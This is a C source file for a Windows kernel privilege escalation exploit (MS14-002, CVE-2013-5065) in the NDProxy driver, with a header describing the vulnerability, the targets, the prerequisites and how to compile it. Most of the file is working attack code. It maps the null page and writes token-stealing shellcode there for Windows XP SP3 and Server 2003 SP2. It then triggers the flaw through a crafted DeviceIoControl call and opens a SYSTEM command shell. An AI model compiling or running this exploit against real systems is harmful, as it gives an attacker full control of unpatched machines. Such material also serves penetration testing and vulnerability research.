/*
################################################################
# Exploit Title: Windows NDProxy Privilege Escalation (MS14-002)
# Date: 2015-08-03
# Exploit Author: Tomislav Paskalev
# Vulnerable Software:
#   Windows XP SP3 x86
#   Windows XP SP2 x86-64
#   Windows 2003 SP2 x86
#   Windows 2003 SP2 x86-64
#   Windows 2003 SP2 IA-64
# Supported vulnerable software:
#   Windows XP SP3 x86
#   Windows 2003 SP2 x86
# Tested on:
#   Windows XP SP3 x86 EN
#   Windows 2003 SP2 x86 EN
# CVE ID: 2013-5065
################################################################
# Vulnerability description:
#   NDPROXY is a system-provided driver that interfaces WAN
#   miniport drivers, call managers, and miniport call managers
#   to the Telephony Application Programming Interfaces (TAPI)
#   services.
#   The vulnerability is caused when the NDProxy.sys kernel
#   component fails to properly validate input.
#   An attacker who successfully exploited this vulnerability
#   could run arbitrary code in kernel mode (i.e. with SYSTEM
#   privileges).
################################################################
# Exploit notes:
#   Privileged shell execution:
#     - the SYSTEM shell will spawn within the existing shell
#       (i.e. exploit usable via a remote shell)
#   Exploit compiling:
#     - # i586-mingw32msvc-gcc MS14-002.c -o MS14-002.exe
#   Exploit prerequisites:
#     - low privilege access to the target (remote shell or RDP)
#     - target not patched (KB2914368 not installed)
#     - service "Routing and Remote Access" running on the target
#       - "Power User" user group can start and stop services
#         - > sc query remoteaccess
#         - > sc start remoteaccess
################################################################
# Thanks to:
#   Andy (C PoC - Win XP SP3)
#   ryujin (Python PoC - Win XP SP3)
################################################################
# References:
#   http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5065
#   https://technet.microsoft.com/en-us/library/security/ms14-002.aspx
#   https://penturalabs.wordpress.com/2013/12/11/ndproxy-privilege-escalation-cve-2013-5065/
#   https://www.exploit-db.com/exploits/30014/
#   https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674%28v=vs.85%29.aspx
#   https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858%28v=vs.85%29.aspx
#   https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381%28v=vs.85%29.aspx
#   https://msdn.microsoft.com/en-us/library/windows/desktop/aa363216%28v=vs.85%29.aspx
################################################################
*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>



typedef struct {
    PVOID   Unknown1;
    PVOID   Unknown2;
    PVOID   Base;
    ULONG   Size;
    ULONG   Flags;
    USHORT  Index;
    USHORT  NameLength;
    USHORT  LoadCount;
    USHORT  PathLength;
    CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;


typedef struct {
    ULONG   Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;


typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemModuleInformation = 11,
    SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;


typedef DWORD NTSTATUS;
NTSTATUS (WINAPI *_NtQuerySystemInformation) (SYSTEM_INFORMATION_CLASS SystemInformationClass,
         PVOID SystemInformation,
         ULONG SystemInformationLength,
         PULONG ReturnLength);



static VOID InitFirstPage (void)
{
    PVOID BaseAddress;
    ULONG RegionSize;
    NTSTATUS ReturnCode;
    FARPROC NtAllocateVirtualMemory;

    NtAllocateVirtualMemory = GetProcAddress (GetModuleHandle ("NTDLL.DLL"), "NtAllocateVirtualMemory");

    fprintf (stderr, "[+] NtAllocateVirtualMemory@%p\n", NtAllocateVirtualMemory);
    RegionSize = 0xf000;
    BaseAddress = (PVOID) 0x00000001;
    ReturnCode = NtAllocateVirtualMemory (GetCurrentProcess (),
                                         &BaseAddress,
	                                     0,
                                         &RegionSize,
                                         MEM_COMMIT | MEM_RESERVE,
                                         PAGE_EXECUTE_READWRITE);
    if (ReturnCode != 0)
    {
         fprintf (stderr, "[-] NtAllocateVirtualMemory() failed to map first page\n");
         fprintf (stderr, "    Error code: %#X\n", ReturnCode);
         fflush (stderr);
         ExitProcess (1);
    }
    fprintf (stderr, "[+] BaseAddress: %p, RegionSize: %#x\n", BaseAddress, RegionSize), fflush (stderr);
    FillMemory (BaseAddress, RegionSize, 0x41);
    return;
}



int exploit (unsigned char *shellcode)
{
    DWORD writtenBytes;
    int returnValue;

    InitFirstPage ();

    unsigned char *shellcodeBuffer;
    shellcodeBuffer = (char *) malloc (400);
    memset (shellcodeBuffer, (int) "xCC", 400);
    memcpy (shellcodeBuffer, shellcode, 112);

    returnValue = WriteProcessMemory ((HANDLE) 0xFFFFFFFF, (LPVOID) 0x00000001, shellcodeBuffer, 0x400, &writtenBytes);
    if (returnValue == 0)
    {
        printf ("[-] Attempt to map memory_write failed\n");
        printf ("    Error code: %d\n", GetLastError ());
        exit(1);
    }
    HANDLE ndProxyDeviceHandle = CreateFileA ("\\\\.\\NDProxy", 0, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (ndProxyDeviceHandle == INVALID_HANDLE_VALUE)
    {
        printf ("[-] Creating a device handle on NDProxy failed\n");
        printf ("    Error code: %d\n", GetLastError());
        exit (0);
    }
    DWORD inputBuffer [0x15] = {0};
    DWORD returnedBytes = 0;
    *(inputBuffer + 5) = 0x7030125;
    *(inputBuffer + 7) = 0x34;
    DeviceIoControl (ndProxyDeviceHandle, 0x8fff23cc, inputBuffer, 0x54, inputBuffer, 0x24, &returnedBytes, 0);
    CloseHandle (ndProxyDeviceHandle);
    system ("cmd.exe /T:C0 /K cd c:\\windows\\system32");
    return 0;
}



int main (int argc, char **argv)
{
    if (argc != 2)
    {
        printf ("[*] Usage: %s OS_TYPE\n", argv[0]);
        printf ("           supported OS_TYPE:\n");
        printf ("                  XP  - Windows XP SP3 x86\n");
        printf ("                  2k3 - Windows 2003 SP2 x86\n");
        printf ("[*] Note:  the service \"Routing and Remote Access\"\n");
        printf ("           must be running on the target machine\n");
        exit (0);
    }
    else
    {
        if ((strcmp (argv[1], "xp") == 0) || (strcmp (argv[1], "XP") == 0))
        {
            unsigned char shellcodeXP[] =
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
            "\x90\x90\x90\x90\x90\x90\x90\x90\x3C\x00\x00\x00\x90\x90\x90\x90"
            "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8B\xC8\x8B"
            "\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x83\xB8\x84\x00\x00\x00"
            "\x04\x75\xEC\x8B\x90\xC8\x00\x00\x00\x89\x91\xC8\x00\x00\x00\xC3";
            exploit (shellcodeXP);
        }
        else if ((strcmp (argv[1], "2k3") == 0) || (strcmp (argv[1], "2K3") == 0))
        {
            unsigned char shellcode2k3[] =
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
            "\x90\x90\x90\x90\x90\x90\x90\x90\x3C\x00\x00\x00\x90\x90\x90\x90"
            "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x38\x8B\xC8\x8B"
            "\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x83\xB8\x94\x00\x00\x00"
            "\x04\x75\xEC\x8B\x90\xD8\x00\x00\x00\x89\x91\xD8\x00\x00\x00\xC3";
            exploit (shellcode2k3);
        }
        else
        {
            printf ("[-] Invalid argument\n");
            printf ("    Argument used: %s\n", argv[1]);
            exit(0);
        }
    }
}
